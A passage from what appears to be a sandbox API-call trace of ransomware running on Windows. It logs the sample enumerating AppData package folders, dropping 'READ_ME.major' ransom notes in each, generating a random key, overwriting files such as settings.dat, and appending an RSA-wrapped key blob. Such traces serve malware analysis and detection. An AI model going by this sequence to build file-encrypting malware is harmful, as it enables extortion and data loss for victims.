ftLastAccessTime.dwLowDateTime=0x309c2c4a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x309c2c4a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.277] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x74b8500e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b8500e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30a5b557, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fbf40 [0200.277] FindNextFileW (in: hFindFile=0x30fbf40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x74b8500e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b8500e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30a5b557, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.278] FindNextFileW (in: hFindFile=0x30fbf40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x74b8500e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b8500e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74b8500e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0200.278] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkcaptiveportal_cw5n1h2txyewy\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1124 [0200.279] WriteFile (in: hFile=0x1124, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0200.280] CloseHandle (hObject=0x1124) returned 1 [0200.280] FindNextFileW (in: hFindFile=0x30fbf40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x74b8500e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b8500e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74b8500e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0200.280] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkcaptiveportal_cw5n1h2txyewy\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1124 [0200.282] WriteFile (in: hFile=0x1124, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0200.283] CloseHandle (hObject=0x1124) returned 1 [0200.283] FindNextFileW (in: hFindFile=0x30fbf40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x74b8500e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b8500e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74b8500e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0200.283] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkcaptiveportal_cw5n1h2txyewy\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1124 [0200.283] WriteFile (in: hFile=0x1124, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0200.284] CloseHandle (hObject=0x1124) returned 1 [0200.284] FindNextFileW (in: hFindFile=0x30fbf40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a5b557, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30a5b557, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30a5b557, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.284] FindNextFileW (in: hFindFile=0x30fbf40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b8500e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b8500e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74b8500e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0200.285] FindNextFileW (in: hFindFile=0x30fbf40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b8500e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b8500e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74b8500e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0200.285] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b12964, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30a5b557, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fb880 [0200.285] FindNextFileW (in: hFindFile=0x30fb880, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b12964, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30a5b557, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.285] FindNextFileW (in: hFindFile=0x30fb880, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30a5b557, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30a5b557, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30a5b557, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.285] FindNextFileW (in: hFindFile=0x30fb880, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30a5b557, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30a5b557, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30a5b557, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.285] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b12964, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30a5b557, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fbac0 [0200.285] FindNextFileW (in: hFindFile=0x30fbac0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b12964, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30a5b557, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.285] FindNextFileW (in: hFindFile=0x30fbac0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30a5b557, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30a5b557, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30a5b557, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.285] FindNextFileW (in: hFindFile=0x30fbac0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30a5b557, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30a5b557, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30a5b557, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.285] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b12964, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30a5b557, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fb8c0 [0200.286] FindNextFileW (in: hFindFile=0x30fb8c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b12964, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30a5b557, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.286] FindNextFileW (in: hFindFile=0x30fb8c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30a5b557, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30a5b557, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30a5b557, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.286] FindNextFileW (in: hFindFile=0x30fb8c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30a5b557, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30a5b557, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30a5b557, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.286] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b12964, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30a5b557, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fbb40 [0200.286] FindNextFileW (in: hFindFile=0x30fbb40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b12964, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30a5b557, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.287] FindNextFileW (in: hFindFile=0x30fbb40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30a5b557, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30a5b557, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30a5b557, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.287] FindNextFileW (in: hFindFile=0x30fbb40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30a5b557, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30a5b557, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30a5b557, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.287] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b12964, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30a5b557, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fbc00 [0200.287] FindNextFileW (in: hFindFile=0x30fbc00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b12964, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30a5b557, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.287] FindNextFileW (in: hFindFile=0x30fbc00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30a5b557, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30a5b557, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30a5b557, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.287] FindNextFileW (in: hFindFile=0x30fbc00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b12964, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74b12964, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0200.287] FindNextFileW (in: hFindFile=0x30fbc00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b12964, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0200.287] FindNextFileW (in: hFindFile=0x30fbc00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b12964, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 0 [0200.287] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0200.287] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0200.288] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkcaptiveportal_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1138 [0200.288] GetFileSizeEx (in: hFile=0x1138, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0200.288] ReadFile (in: hFile=0x1138, lpBuffer=0x2f978e8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0200.336] SetFilePointer (in: hFile=0x1138, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.336] WriteFile (in: hFile=0x1138, lpBuffer=0x2f958e0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0200.336] SetFilePointer (in: hFile=0x1138, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0200.336] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.336] WriteFile (in: hFile=0x1138, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.346] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0200.347] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0200.347] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0200.347] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="dKn6Jy3xdbrhU2EqzP1CyGjqDIA99X8jUl19ZFecWBneybLcdDPCHqZ9xpofMPKk\n4mOpOKErib2AG3PDjWdevXIcClVMY6QVQ2EtL+VQX0mzeSZEvbbOQ2+yG69rZCSS\nIYcZ/P9zgVEZ+tgTI2+8v5GPCYDKjyXXszUmUKPtCuEh/xrXpOlzlXCSrR8jNy8r\nXzJvufJbGIPh9BIKfrm8IDjNgW6l7ySzpfGisVykw7dc9nwAxpItn7Ku0WvKJyyo\niGAN3VDU8PmG+6xqCk6rhSMRRULcdjF7PpN2wckJC6lC8R7BGUPRaFRqcFKEev3s\naDSd40KxNO3e5gGLZKGlYA==\n", pcchString=0x2e3f9a8) returned 1 [0200.347] WriteFile (in: hFile=0x1138, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0200.347] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.347] WriteFile (in: hFile=0x1138, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.347] CloseHandle (hObject=0x1138) returned 1 [0200.452] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0200.452] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0200.452] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkcaptiveportal_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1138 [0200.453] GetFileSizeEx (in: hFile=0x1138, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0200.453] ReadFile (in: hFile=0x1138, lpBuffer=0x59d290, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d290*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0200.453] SetFilePointer (in: hFile=0x1138, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.453] WriteFile (in: hFile=0x1138, lpBuffer=0x59d350*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: 